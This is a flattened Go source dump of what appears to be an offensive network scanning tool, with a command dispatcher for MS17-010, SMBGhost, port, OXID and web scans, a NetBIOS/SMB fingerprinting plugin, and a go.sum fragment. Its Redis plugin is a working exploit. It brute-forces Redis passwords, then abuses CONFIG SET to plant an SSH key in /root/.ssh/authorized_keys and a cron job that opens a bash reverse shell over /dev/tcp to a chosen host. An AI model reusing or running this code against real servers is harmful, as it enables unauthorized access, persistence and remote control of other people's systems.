ms17010scanner(flag) 32 | case "smbghost": 33 | smbghostscanner(flag) 34 | case "portscan": 35 | portscanner(flag) 36 | case "oxidscan": 37 | oxidscanner(flag) 38 | case "webscan": 39 | webscanner(flag) 40 | } 41 | elapsed := time.Since(start) 42 | if elapsed != 0{ 43 | fmt.Println("[total time]", elapsed) 44 | } 45 | 46 | } 47 | 48 | func webscanner(flag config.EnterFlag){ 49 | fmt.Println("Load webscan") 50 | fmt.Println("[config] ==> | thread",flag.Thread,"| noping",flag.NoPing,"|") 51 | fmt.Println("") 52 | lib.Inithttp(config.WebConfig) 53 | ips, _ := ResolveIPS(flag.ScanHost) 54 | var result []config.PortResult 55 | //fmt.Println(ips) 56 | var aliveip = plugin.PingScan(flag.Thread,ips,flag.NoPing) 57 | var resolveports []int 58 | if flag.Ports != "" { 59 | resolveports = resolvePorts(flag.Ports) 60 | }else{ 61 | resolveports = config.WebPorts 62 | } 63 | result = plugin.PortScan(flag.Thread,resolveports,aliveip) 64 | var wg sync.WaitGroup 65 | result = plugin.PortScan(flag.Thread,resolveports,aliveip) 66 | var taskchan = make(chan config.PortResult) 67 | go func() { 68 | for _,value := range result { 69 | taskchan <- value 70 | } 71 | defer close(taskchan) 72 | }() 73 | for i:=0;i | thread",flag.Thread,"| noping",flag.NoPing,"|") 96 | fmt.Println("") 97 | ips ,_ := ResolveIPS(flag.ScanHost) 98 | var aliveip = plugin.PingScan(flag.Thread,ips,flag.NoPing) 99 | for _,ip:= range aliveip{ 100 | fmt.Println("[+]",ip) 101 | } 102 | printalivePC(aliveip) 103 | 104 | } 105 | func oxidscanner(flag config.EnterFlag){ 106 | fmt.Println("Load oxidscan") 107 | fmt.Println("[config] ==> | thread",flag.Thread,"| noping",flag.NoPing,"|") 108 | fmt.Println("") 109 | // 首先对存活主机进行扫描,扫描完成后才能进行ms17070的扫描 110 | // 解析IP 111 | ips, _ := ResolveIPS(flag.ScanHost) 112 | //fmt.Println(ips) 113 | var aliveip = plugin.PingScan(flag.Thread,ips,flag.NoPing) 114 | if len(aliveip) > 0 { 115 | var wg sync.WaitGroup 116 | var taskchan = make(chan string) 117 | go func() { 118 | for _, ip := range aliveip { 119 | taskchan <- ip 120 | } 121 | defer close(taskchan) 122 | }() 123 | for i := 0; i < int(flag.Thread); i++ { 124 | wg.Add(1) 125 | go func(taskchan chan string) { 126 | defer wg.Done() 127 | for ip := range taskchan { 128 | _ = FuncCall(PluginMap, "135", &config.HostData{HostName: ip, TimeOut: 5, Ports: 135}) 129 | } 130 | }(taskchan) 131 | } 132 | wg.Wait() 133 | } 134 | printalivePC(aliveip) 135 | } 136 | 137 | func ms17010scanner(flag config.EnterFlag){ 138 | fmt.Println("Load ms17010") 139 | fmt.Println("[config] ==> | thread",flag.Thread,"| noping",flag.NoPing,"|") 140 | fmt.Println("") 141 | // 首先对存活主机进行扫描,扫描完成后才能进行ms17070的扫描 142 | // 解析IP 143 | ips, _ := ResolveIPS(flag.ScanHost) 144 | //fmt.Println(ips) 145 | var aliveip = plugin.PingScan(flag.Thread,ips,flag.NoPing) 146 | if len(aliveip) > 0 { 147 | var wg sync.WaitGroup 148 | var taskchan = make(chan string) 149 | go func() { 150 | for _,ip := range aliveip{ 151 | taskchan <- ip 152 | } 153 | defer close(taskchan) 154 | }() 155 | for i:=0;i | thread",flag.Thread,"| noping",flag.NoPing,"|") 177 | fmt.Println("") 178 | ips, _ := ResolveIPS(flag.ScanHost) 179 | //fmt.Println(ips) 180 | var aliveip = plugin.PingScan(flag.Thread,ips,flag.NoPing) 181 | if len(aliveip) > 0 { 182 | var wg sync.WaitGroup 183 | var taskchan = make(chan string) 184 | go func() { 185 | for _,ip := range aliveip{ 186 | taskchan <- ip 187 | } 188 | defer close(taskchan) 189 | }() 190 | for i:=0;i | Fragile",flag.Fragile,"| thread",flag.Thread,"| noping",flag.NoPing,"| netbios",flag.Netbios,"|") 211 | // 第一步对存活主机进行探测,获取存活主机的列表 212 | fmt.Println("") 213 | var result []config.PortResult 214 | ips, _ := ResolveIPS(flag.ScanHost) 215 | //fmt.Println(ips) 216 | var aliveip = plugin.PingScan(flag.Thread,ips,flag.NoPing) 217 | var resolveports []int 218 | // 这里解析端口,如果输入的有端口就采用输入的端口进行扫描,否在采用默认端口扫描 219 | if flag.Ports != "" { 220 | resolveports = resolvePorts(flag.Ports) 221 | }else{ 222 | resolveports = config.DefaultPorts 223 | } 224 | // 获取完存活主机,在进行判断,如果Fragile参数为true,则进行脆弱端口的扫描,否在就进行常规端口扫描 225 | if flag.Fragile == true{ 226 | 227 | var wg sync.WaitGroup 228 | result = plugin.PortScan(flag.Thread,resolveports,aliveip) 229 | var taskchan = make(chan config.PortResult) 230 | go func() { 231 | for _,value := range result { 232 | taskchan <- value 233 | } 234 | defer close(taskchan) 235 | }() 236 | for i:=0;i 0 || len(nbname.unique) > 0 { 62 | fmt.Println(msg) 63 | } 64 | return err 65 | } 66 | 67 | func netbios1(info *config.HostData)(nbname NbnsName,err error){ 68 | nbname, err = GetNbnsname(info) 69 | var payload0 []byte 70 | if err == nil { 71 | name := netbiosEncode(nbname.unique) 72 | payload0 = append(payload0, []byte("\x81\x00\x00D ")...) 73 | payload0 = append(payload0, name...) 74 | payload0 = append(payload0, []byte("\x00 EOENEBFACACACACACACACACACACACACA\x00")...) 75 | } 76 | realhost := fmt.Sprintf("%s:%v", info.HostName, info.Ports) 77 | conn, err := net.DialTimeout("tcp", realhost, time.Duration(info.TimeOut)*time.Second) 78 | if err != nil { 79 | return 80 | } 81 | err = conn.SetDeadline(time.Now().Add(time.Duration(info.TimeOut) * time.Second)) 82 | if err != nil { 83 | return 84 | } 85 | defer conn.Close() 86 | 87 | if info.Ports == 139 && len(payload0) > 0 { 88 | _, err1 := conn.Write(payload0) 89 | if err1 != nil { 90 | return 91 | } 92 | _, err1 = readbytes(conn) 93 | if err1 != nil { 94 | return 95 | } 96 | } 97 | 98 | payload1 := []byte("\x00\x00\x00\x85\xff\x53\x4d\x42\x72\x00\x00\x00\x00\x18\x53\xc8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xfe\x00\x00\x00\x00\x00\x62\x00\x02\x50\x43\x20\x4e\x45\x54\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31\x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c\x4d\x20\x30\x2e\x31\x32\x00") 99 | payload2 := []byte("\x00\x00\x01\x0a\xff\x53\x4d\x42\x73\x00\x00\x00\x00\x18\x07\xc8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xfe\x00\x00\x40\x00\x0c\xff\x00\x0a\x01\x04\x41\x32\x00\x00\x00\x00\x00\x00\x00\x4a\x00\x00\x00\x00\x00\xd4\x00\x00\xa0\xcf\x00\x60\x48\x06\x06\x2b\x06\x01\x05\x05\x02\xa0\x3e\x30\x3c\xa0\x0e\x30\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a\xa2\x2a\x04\x28\x4e\x54\x4c\x4d\x53\x53\x50\x00\x01\x00\x00\x00\x07\x82\x08\xa2\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x02\xce\x0e\x00\x00\x00\x0f\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x53\x00\x65\x00\x72\x00\x76\x00\x65\x00\x72\x00\x20\x00\x32\x00\x30\x00\x30\x00\x33\x00\x20\x00\x33\x00\x37\x00\x39\x00\x30\x00\x20\x00\x53\x00\x65\x00\x72\x00\x76\x00\x69\x00\x63\x00\x65\x00\x20\x00\x50\x00\x61\x00\x63\x00\x6b\x00\x20\x00\x32\x00\x00\x00\x00\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x53\x00\x65\x00\x72\x00\x76\x00\x65\x00\x72\x00\x20\x00\x32\x00\x30\x00\x30\x00\x33\x00\x20\x00\x35\x00\x2e\x00\x32\x00\x00\x00\x00\x00") 100 | _, err = conn.Write(payload1) 101 | if err != nil { 102 | return 103 | } 104 | _, err = readbytes(conn) 105 | if err != nil { 106 | return 107 | } 108 | 109 | _, err = conn.Write(payload2) 110 | if err != nil { 111 | return 112 | } 113 | ret, err := readbytes(conn) 114 | if err != nil || len(ret) < 45 { 115 | return 116 | } 117 | 118 | num1, err := bytetoint(ret[43:44][0]) 119 | if err != nil { 120 | return 121 | } 122 | num2, err := bytetoint(ret[44:45][0]) 123 | if err != nil { 124 | return 125 | } 126 | length := num1 + num2*256 127 | if len(ret) < 48+length { 128 | return 129 | } 130 | os_version := ret[47+length:] 131 | tmp1 := bytes.ReplaceAll(os_version, []byte{0x00, 0x00}, []byte{124}) 132 | tmp1 = bytes.ReplaceAll(tmp1, []byte{0x00}, []byte{}) 133 | msg1 := string(tmp1[:len(tmp1)-1]) 134 | nbname.osversion = msg1 135 | index1 := strings.Index(msg1, "|") 136 | if index1 > 0 { 137 | nbname.osversion = nbname.osversion[:index1] 138 | } 139 | nbname.msg += "-------------------------------------------\n" 140 | nbname.msg += msg1 + "\n" 141 | start := bytes.Index(ret, []byte("NTLMSSP")) 142 | if len(ret) < start+45 { 143 | return 144 | } 145 | num1, err = bytetoint(ret[start+40 : start+41][0]) 146 | if err != nil { 147 | return 148 | } 149 | num2, err = bytetoint(ret[start+41 : start+42][0]) 150 | if err != nil { 151 | return 152 | } 153 | length = num1 + num2*256 154 | num1, err = bytetoint(ret[start+44 : start+45][0]) 155 | if err != nil { 156 | return 157 | } 158 | offset, err := bytetoint(ret[start+44 : start+45][0]) 159 | if err != nil || len(ret) < start+offset+length { 160 | return 161 | } 162 | index := start + offset 163 | for index < start+offset+length { 164 | item_type := ret[index : index+2] 165 | num1, err = bytetoint(ret[index+2 : index+3][0]) 166 | if err != nil { 167 | return 168 | } 169 | num2, err = bytetoint(ret[index+3 : index+4][0]) 170 | if err != nil { 171 | return 172 | } 173 | item_length := num1 + num2*256 174 | item_content := bytes.ReplaceAll(ret[index+4:index+4+item_length], []byte{0x00}, []byte{}) 175 | index += 4 + item_length 176 | if string(item_type) == "\x07\x00" { 177 | //Time stamp, 暂时不想处理 178 | } else if NetBIOS_ITEM_TYPE[string(item_type)] != "" { 179 | nbname.msg += fmt.Sprintf("%-22s: %s\n", NetBIOS_ITEM_TYPE[string(item_type)], string(item_content)) 180 | } else if string(item_type) == "\x00\x00" { 181 | break 182 | } else { 183 | nbname.msg += fmt.Sprintf("Unknown: %s\n", string(item_content)) 184 | } 185 | } 186 | return nbname, err 187 | } 188 | func GetNbnsname(info *config.HostData) (nbname NbnsName, err error) { 189 | senddata1 := []byte{102, 102, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 32, 67, 75, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 0, 0, 33, 0, 1} 190 | realhost := fmt.Sprintf("%s:%v", info.HostName, 137) 191 | conn, err := net.DialTimeout("udp", realhost, time.Duration(info.TimeOut)*time.Second) 192 | if err != nil { 193 | return 194 | } 195 | err = conn.SetDeadline(time.Now().Add(time.Duration(info.TimeOut) * time.Second)) 196 | if err != nil { 197 | return 198 | } 199 | defer conn.Close() 200 | _, err = conn.Write(senddata1) 201 | if err != nil { 202 | return 203 | } 204 | text, err := readbytes(conn) 205 | if err != nil { 206 | return 207 | } 208 | if len(text) < 57 { 209 | return nbname, fmt.Errorf("no names available") 210 | } 211 | num, err := bytetoint(text[56:57][0]) 212 | if err != nil { 213 | return 214 | } 215 | data := text[57:] 216 | var msg string 217 | for i := 0; i < num; i++ { 218 | if len(data) < 18*i+16 { 219 | break 220 | } 221 | name := string(data[18*i : 18*i+15]) 222 | flag_bit := data[18*i+15 : 18*i+16] 223 | if GROUP_NAMES[string(flag_bit)] != "" && string(flag_bit) != "\x00" { 224 | msg += fmt.Sprintf("%s G %s\n", name, GROUP_NAMES[string(flag_bit)]) 225 | } else if UNIQUE_NAMES[string(flag_bit)] != "" && string(flag_bit) != "\x00" { 226 | msg += fmt.Sprintf("%s U %s\n", name, UNIQUE_NAMES[string(flag_bit)]) 227 | } else if string(flag_bit) == "\x00" || len(data) >= 18*i+18 { 228 | name_flags := data[18*i+16 : 18*i+18][0] 229 | if name_flags >= 128 { 230 | nbname.group = strings.Replace(name, " ", "", -1) 231 | msg += fmt.Sprintf("%s G %s\n", name, GROUP_NAMES[string(flag_bit)]) 232 | } else { 233 | nbname.unique = strings.Replace(name, " ", "", -1) 234 | msg += fmt.Sprintf("%s U %s\n", name, UNIQUE_NAMES[string(flag_bit)]) 235 | } 236 | } else { 237 | msg += fmt.Sprintf("%s \n", name) 238 | } 239 | } 240 | nbname.msg += msg 241 | return 242 | } 243 | func readbytes(conn net.Conn) (result []byte, err error) { 244 | buf := make([]byte, 4096) 245 | for { 246 | count, err := conn.Read(buf) 247 | if err != nil { 248 | break 249 | } 250 | result = append(result, buf[0:count]...) 251 | if count < 4096 { 252 | break 253 | } 254 | } 255 | return result, err 256 | } 257 | 258 | func bytetoint(text byte) (int, error) { 259 | num1 := fmt.Sprintf("%v", text) 260 | num, err := strconv.Atoi(num1) 261 | return num, err 262 | } 263 | 264 | func netbiosEncode(name string) (output []byte) { 265 | var names []int 266 | src := fmt.Sprintf("%-16s", name) 267 | for _, a := range src { 268 | char_ord := int(a) 269 | high_4_bits := char_ord >> 4 270 | low_4_bits := char_ord & 0x0f 271 | names = append(names, high_4_bits, low_4_bits) 272 | } 273 | for _, one := range names { 274 | out := (one + 0x41) 275 | output = append(output, byte(out)) 276 | } 277 | return 278 | } -------------------------------------------------------------------------------- /plugin/redis.go: -------------------------------------------------------------------------------- 1 | package plugin 2 | 3 | import ( 4 | "FscanX/config" 5 | "bufio" 6 | "fmt" 7 | "net" 8 | "os" 9 | "strings" 10 | "time" 11 | ) 12 | 13 | func RedisScan(info *config.HostData)(tmperr error){ 14 | starttime := time.Now().Unix() 15 | flag, err := RedisUnauth(info) 16 | if flag == true && err == nil { 17 | return err 18 | } 19 | for _, pass := range config.Passwords { 20 | pass = strings.Replace(pass, "{user}", "redis", -1) 21 | flag, err := redisConn(info, pass) 22 | if flag == true && err == nil { 23 | return err 24 | } else { 25 | errlog := fmt.Sprintf("[-] redis %v:%v %v %v", info.HostName, info.Ports, pass, err) 26 | _ = errlog 27 | tmperr = err 28 | if time.Now().Unix()-starttime > (int64(len(config.Passwords)) * info.TimeOut) { 29 | return err 30 | } 31 | } 32 | } 33 | return tmperr 34 | } 35 | 36 | func redisConn(info *config.HostData, pass string) (flag bool, err error) { 37 | flag = false 38 | realhost := fmt.Sprintf("%s:%v", info.HostName, info.Ports) 39 | conn, err := net.DialTimeout("tcp", realhost, time.Duration(info.TimeOut)*time.Second) 40 | if err != nil { 41 | return flag, err 42 | } 43 | defer func() { 44 | _ = conn.Close() 45 | }() 46 | err = conn.SetReadDeadline(time.Now().Add(time.Duration(info.TimeOut)*time.Second)) 47 | if err != nil { 48 | return flag, err 49 | } 50 | _, err = conn.Write([]byte(fmt.Sprintf("auth %s\r\n", pass))) 51 | if err != nil { 52 | return flag, err 53 | } 54 | reply, err := readreply(conn) 55 | if err != nil { 56 | return flag, err 57 | } 58 | if strings.Contains(reply, "+OK") { 59 | result := fmt.Sprintf("[+] Redis:%s %s", realhost, pass) 60 | fmt.Println(result) 61 | flag = true 62 | err = Expoilt(realhost, conn) 63 | } 64 | return flag, err 65 | } 66 | 67 | func RedisUnauth(info *config.HostData) (flag bool, err error) { 68 | flag = false 69 | realhost := fmt.Sprintf("%s:%v", info.HostName, info.Ports) 70 | conn, err := net.DialTimeout("tcp", realhost, time.Duration(info.TimeOut)*time.Second) 71 | if err != nil { 72 | return flag, err 73 | } 74 | defer conn.Close() 75 | err = conn.SetReadDeadline(time.Now().Add(time.Duration(info.TimeOut)*time.Second)) 76 | if err != nil { 77 | return flag, err 78 | } 79 | _, err = conn.Write([]byte("info\r\n")) 80 | if err != nil { 81 | return flag, err 82 | } 83 | reply, err := readreply(conn) 84 | if err != nil { 85 | return flag, err 86 | } 87 | if strings.Contains(reply, "redis_version") { 88 | result := fmt.Sprintf("[+] %s [Redis unauthorized]", realhost) 89 | fmt.Println(result) 90 | flag = true 91 | err = Expoilt(realhost, conn) 92 | } 93 | return flag, err 94 | } 95 | func Expoilt(realhost string, conn net.Conn) error { 96 | dbfilename, dir, err := getconfig(conn) 97 | if err != nil { 98 | return err 99 | } 100 | flagSsh, flagCron, err := testwrite(conn) 101 | if err != nil { 102 | return err 103 | } 104 | if flagSsh == true { 105 | result := fmt.Sprintf("[+] Redis:%v like can write /root/.ssh/", realhost) 106 | fmt.Println(result) 107 | if config.RedisFile != "" { 108 | writeok, text, err := writekey(conn, config.RedisFile) 109 | if err != nil { 110 | fmt.Println(fmt.Sprintf("[-] %v SSH write key errer: %v", realhost, text)) 111 | return err 112 | } 113 | if writeok { 114 | result := fmt.Sprintf("[+] %v SSH public key was written successfully", realhost) 115 | fmt.Println(result) 116 | } else { 117 | fmt.Println("Redis:", realhost, "SSHPUB write failed", text) 118 | } 119 | } 120 | } 121 | 122 | if flagCron == true { 123 | result := fmt.Sprintf("[+] Redis:%v like can write /var/spool/cron/", realhost) 124 | fmt.Println(result) 125 | if config.RedisShell != "" { 126 | writeok, text, err := writecron(conn, config.RedisShell) 127 | if err != nil { 128 | return err 129 | } 130 | if writeok { 131 | result := fmt.Sprintf("[+] %v /var/spool/cron/root was written successfully", realhost) 132 | fmt.Println(result) 133 | } else { 134 | fmt.Println("[-] Redis:", realhost, "cron write failed", text) 135 | } 136 | } 137 | } 138 | err = recoverdb(dbfilename, dir, conn) 139 | return err 140 | } 141 | 142 | func writekey(conn net.Conn, filename string) (flag bool, text string, err error) { 143 | flag = false 144 | _, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dir /root/.ssh/\r\n"))) 145 | if err != nil { 146 | return flag, text, err 147 | } 148 | text, err = readreply(conn) 149 | if err != nil { 150 | return flag, text, err 151 | } 152 | if strings.Contains(text, "OK") { 153 | _, err := conn.Write([]byte(fmt.Sprintf("CONFIG SET dbfilename authorized_keys\r\n"))) 154 | if err != nil { 155 | return flag, text, err 156 | } 157 | text, err = readreply(conn) 158 | if err != nil { 159 | return flag, text, err 160 | } 161 | if strings.Contains(text, "OK") { 162 | key, err := Readfile(filename) 163 | if err != nil { 164 | text = fmt.Sprintf("Open %s error, %v", filename, err) 165 | return flag, text, err 166 | } 167 | if len(key) == 0 { 168 | text = fmt.Sprintf("the keyfile %s is empty", filename) 169 | return flag, text, err 170 | } 171 | _, err = conn.Write([]byte(fmt.Sprintf("set x \"\\n\\n\\n%v\\n\\n\\n\"\r\n", key))) 172 | if err != nil { 173 | return flag, text, err 174 | } 175 | text, err = readreply(conn) 176 | if err != nil { 177 | return flag, text, err 178 | } 179 | if strings.Contains(text, "OK") { 180 | _, err = conn.Write([]byte(fmt.Sprintf("save\r\n"))) 181 | if err != nil { 182 | return flag, text, err 183 | } 184 | text, err = readreply(conn) 185 | if err != nil { 186 | return flag, text, err 187 | } 188 | if strings.Contains(text, "OK") { 189 | flag = true 190 | } 191 | } 192 | } 193 | } 194 | text = strings.TrimSpace(text) 195 | if len(text) > 50 { 196 | text = text[:50] 197 | } 198 | return flag, text, err 199 | } 200 | 201 | func writecron(conn net.Conn, host string) (flag bool, text string, err error) { 202 | flag = false 203 | _, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dir /var/spool/cron/\r\n"))) 204 | if err != nil { 205 | return flag, text, err 206 | } 207 | text, err = readreply(conn) 208 | if err != nil { 209 | return flag, text, err 210 | } 211 | if strings.Contains(text, "OK") { 212 | _, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dbfilename root\r\n"))) 213 | if err != nil { 214 | return flag, text, err 215 | } 216 | text, err = readreply(conn) 217 | if err != nil { 218 | return flag, text, err 219 | } 220 | if strings.Contains(text, "OK") { 221 | scanIp, scanPort := strings.Split(host, ":")[0], strings.Split(host, ":")[1] 222 | _, err = conn.Write([]byte(fmt.Sprintf("set xx \"\\n* * * * * bash -i >& /dev/tcp/%v/%v 0>&1\\n\"\r\n", scanIp, scanPort))) 223 | if err != nil { 224 | return flag, text, err 225 | } 226 | text, err = readreply(conn) 227 | if err != nil { 228 | return flag, text, err 229 | } 230 | if strings.Contains(text, "OK") { 231 | _, err = conn.Write([]byte(fmt.Sprintf("save\r\n"))) 232 | if err != nil { 233 | return flag, text, err 234 | } 235 | text, err = readreply(conn) 236 | if err != nil { 237 | return flag, text, err 238 | } 239 | if strings.Contains(text, "OK") { 240 | flag = true 241 | } 242 | } 243 | } 244 | } 245 | text = strings.TrimSpace(text) 246 | if len(text) > 50 { 247 | text = text[:50] 248 | } 249 | return flag, text, err 250 | } 251 | 252 | func Readfile(filename string) (string, error) { 253 | file, err := os.Open(filename) 254 | if err != nil { 255 | return "", err 256 | } 257 | defer file.Close() 258 | scanner := bufio.NewScanner(file) 259 | for scanner.Scan() { 260 | text := strings.TrimSpace(scanner.Text()) 261 | if text != "" { 262 | return text, nil 263 | } 264 | } 265 | return "", err 266 | } 267 | 268 | func readreply(conn net.Conn) (result string, err error) { 269 | buf := make([]byte, 4096) 270 | for { 271 | count, err := conn.Read(buf) 272 | if err != nil { 273 | break 274 | } 275 | result += string(buf[0:count]) 276 | if count < 4096 { 277 | break 278 | } 279 | } 280 | return result, err 281 | } 282 | 283 | func testwrite(conn net.Conn) (flag bool, flagCron bool, err error) { 284 | var text string 285 | _, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dir /root/.ssh/\r\n"))) 286 | if err != nil { 287 | return flag, flagCron, err 288 | } 289 | text, err = readreply(conn) 290 | if err != nil { 291 | return flag, flagCron, err 292 | } 293 | if strings.Contains(text, "OK") { 294 | flag = true 295 | } 296 | _, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dir /var/spool/cron/\r\n"))) 297 | if err != nil { 298 | return flag, flagCron, err 299 | } 300 | text, err = readreply(conn) 301 | if err != nil { 302 | return flag, flagCron, err 303 | } 304 | if strings.Contains(text, "OK") { 305 | flagCron = true 306 | } 307 | return flag, flagCron, err 308 | } 309 | 310 | func getconfig(conn net.Conn) (dbfilename string, dir string, err error) { 311 | _, err = conn.Write([]byte(fmt.Sprintf("CONFIG GET dbfilename\r\n"))) 312 | if err != nil { 313 | return 314 | } 315 | text, err := readreply(conn) 316 | if err != nil { 317 | return 318 | } 319 | text1 := strings.Split(text, "\n") 320 | if len(text1) > 2 { 321 | dbfilename = text1[len(text1)-2] 322 | } else { 323 | dbfilename = text1[0] 324 | } 325 | _, err = conn.Write([]byte(fmt.Sprintf("CONFIG GET dir\r\n"))) 326 | if err != nil { 327 | return 328 | } 329 | text, err = readreply(conn) 330 | if err != nil { 331 | return 332 | } 333 | text1 = strings.Split(text, "\n") 334 | if len(text1) > 2 { 335 | dir = text1[len(text1)-2] 336 | } else { 337 | dir = text1[0] 338 | } 339 | return 340 | } 341 | 342 | func recoverdb(dbfilename string, dir string, conn net.Conn) (err error) { 343 | _, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dbfilename %s\r\n", dbfilename))) 344 | if err != nil { 345 | return 346 | } 347 | dbfilename, err = readreply(conn) 348 | if err != nil { 349 | return 350 | } 351 | _, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dir %s\r\n", dir))) 352 | if err != nil { 353 | return 354 | } 355 | dir, err = readreply(conn) 356 | if err != nil { 357 | return 358 | } 359 | return 360 | } -------------------------------------------------------------------------------- /go.sum: -------------------------------------------------------------------------------- 1 | cloud.google.com/go v0.26.0/go.mod h1:aQUYkXzVsufM+DwF1aE+0xfcU+56JwCaLick0ClmMTw= 2 | github.com/BurntSushi/toml v0.3.1/go.mod h1:xHWCNGjB5oqiDr8zfno3MHue2Ht5sIBksp03qcyfWMU= 3 | github.com/antlr/antlr4 v0.0.0-20200503195918-621b933c7a7f h1:0cEys61Sr2hUBEXfNV8eyQP01oZuBgoMeHunebPirK8= 4 | github.com/antlr/antlr4 v0.0.0-20200503195918-621b933c7a7f/go.mod h1:T7PbCXFs94rrTttyxjbyT5+/1V8T2TYDejxUfHJjw1Y= 5 | github.com/census-instrumentation/opencensus-proto v0.2.1/go.mod h1:f6KPmirojxKA12rnyqOA5BBL4O983OfeGPqjHWSTneU= 6 | github.com/client9/misspell v0.3.4/go.mod h1:qj6jICC3Q7zFZvVWo7KLAzC3yx5G7kyvSDkc90ppPyw= 7 | github.com/cncf/udpa/go v0.0.0-20191209042840-269d4d468f6f/go.mod h1:M8M6+tZqaGXZJjfX53e64911xZQV5JYwmTeXPW+k8Sc= 8 | github.com/cpuguy83/go-md2man/v2 v2.0.0-20190314233015-f79a8a8ca69d h1:U+s90UTSYgptZMwQh2aRr3LuazLJIa+Pg3Kc1ylSYVY= 9 | github.com/cpuguy83/go-md2man/v2 v2.0.0-20190314233015-f79a8a8ca69d/go.mod h1:maD7wRr/U5Z6m/iR4s+kqSMx2CaBsrgA7czyZG/E6dU= 10 | github.com/davecgh/go-spew v1.1.0 h1:ZDRjVQ15GmhC3fiQ8ni8+OwkZQO4DARzQgrnXU1Liz8= 11 | github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= 12 | github.com/denisenkom/go-mssqldb v0.10.0 h1:QykgLZBorFE95+gO3u9esLd0BmbvpWp0/waNNZfHBM8= 13 | github.com/denisenkom/go-mssqldb v0.10.0/go.mod h1:xbL0rPBG9cCiLr28tMa8zpbdarY27NDyej4t/EjAShU= 14 | github.com/envoyproxy/go-control-plane v0.9.0/go.mod h1:YTl/9mNaCwkRvm6d1a2C3ymFceY/DCBVvsKhRF0iEA4= 15 | github.com/envoyproxy/go-control-plane v0.9.1-0.20191026205805-5f8ba28d4473/go.mod h1:YTl/9mNaCwkRvm6d1a2C3ymFceY/DCBVvsKhRF0iEA4= 16 | github.com/envoyproxy/go-control-plane v0.9.4/go.mod h1:6rpuAdCZL397s3pYoYcLgu1mIlRU8Am5FuJP05cCM98= 17 | github.com/envoyproxy/protoc-gen-validate v0.1.0/go.mod h1:iSmxcyjqTsJpI2R4NaDN7+kN2VEUnK/pcBlmesArF7c= 18 | github.com/go-sql-driver/mysql v1.6.0 h1:BCTh4TKNUYmOmMUcQ3IipzF5prigylS7XXjEkfCHuOE= 19 | github.com/go-sql-driver/mysql v1.6.0/go.mod h1:DCzpHaOWr8IXmIStZouvnhqoel9Qv2LBy8hT2VhHyBg= 20 | github.com/golang-sql/civil v0.0.0-20190719163853-cb61b32ac6fe h1:lXe2qZdvpiX5WZkZR4hgp4KJVfY3nMkvmwbVkpv1rVY= 21 | github.com/golang-sql/civil v0.0.0-20190719163853-cb61b32ac6fe/go.mod h1:8vg3r2VgvsThLBIFL93Qb5yWzgyZWhEmBwUJWevAkK0= 22 | github.com/golang/glog v0.0.0-20160126235308-23def4e6c14b/go.mod h1:SBH7ygxi8pfUlaOkMMuAQtPIUF8ecWP5IEl/CR7VP2Q= 23 | github.com/golang/mock v1.1.1/go.mod h1:oTYuIxOrZwtPieC+H1uAHpcLFnEyAGVDL/k47Jfbm0A= 24 | github.com/golang/protobuf v1.2.0/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U= 25 | github.com/golang/protobuf v1.3.2/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U= 26 | github.com/golang/protobuf v1.4.0-rc.1/go.mod h1:ceaxUfeHdC40wWswd/P6IGgMaK3YpKi5j83Wpe3EHw8= 27 | github.com/golang/protobuf v1.4.0-rc.1.0.20200221234624-67d41d38c208/go.mod h1:xKAWHe0F5eneWXFV3EuXVDTCmh+JuBKY0li0aMyXATA= 28 | github.com/golang/protobuf v1.4.0-rc.2/go.mod h1:LlEzMj4AhA7rCAGe4KMBDvJI+AwstrUpVNzEA03Pprs= 29 | github.com/golang/protobuf v1.4.0-rc.4.0.20200313231945-b860323f09d0/go.mod h1:WU3c8KckQ9AFe+yFwt9sWVRKCVIyN9cPHBJSNnbL67w= 30 | github.com/golang/protobuf v1.4.0/go.mod h1:jodUvKwWbYaEsadDk5Fwe5c77LiNKVO9IDvqG2KuDX0= 31 | github.com/golang/protobuf v1.4.1/go.mod h1:U8fpvMrcmy5pZrNK1lt4xCsGvpyWQ/VVv6QDs8UjoX8= 32 | github.com/golang/protobuf v1.4.3 h1:JjCZWpVbqXDqFVmTfYWEVTMIYrL/NPdPSCHPJ0T/raM= 33 | github.com/golang/protobuf v1.4.3/go.mod h1:oDoupMAO8OvCJWAcko0GGGIgR6R6ocIYbsSw735rRwI= 34 | github.com/google/cel-go v0.7.3 h1:8v9BSN0avuGwrHFKNCjfiQ/CE6+D6sW+BDyOVoEeP6o= 35 | github.com/google/cel-go v0.7.3/go.mod h1:4EtyFAHT5xNr0Msu0MJjyGxPUgdr9DlcaPyzLt/kkt8= 36 | github.com/google/cel-spec v0.5.0/go.mod h1:Nwjgxy5CbjlPrtCWjeDjUyKMl8w41YBYGjsyDdqk0xA= 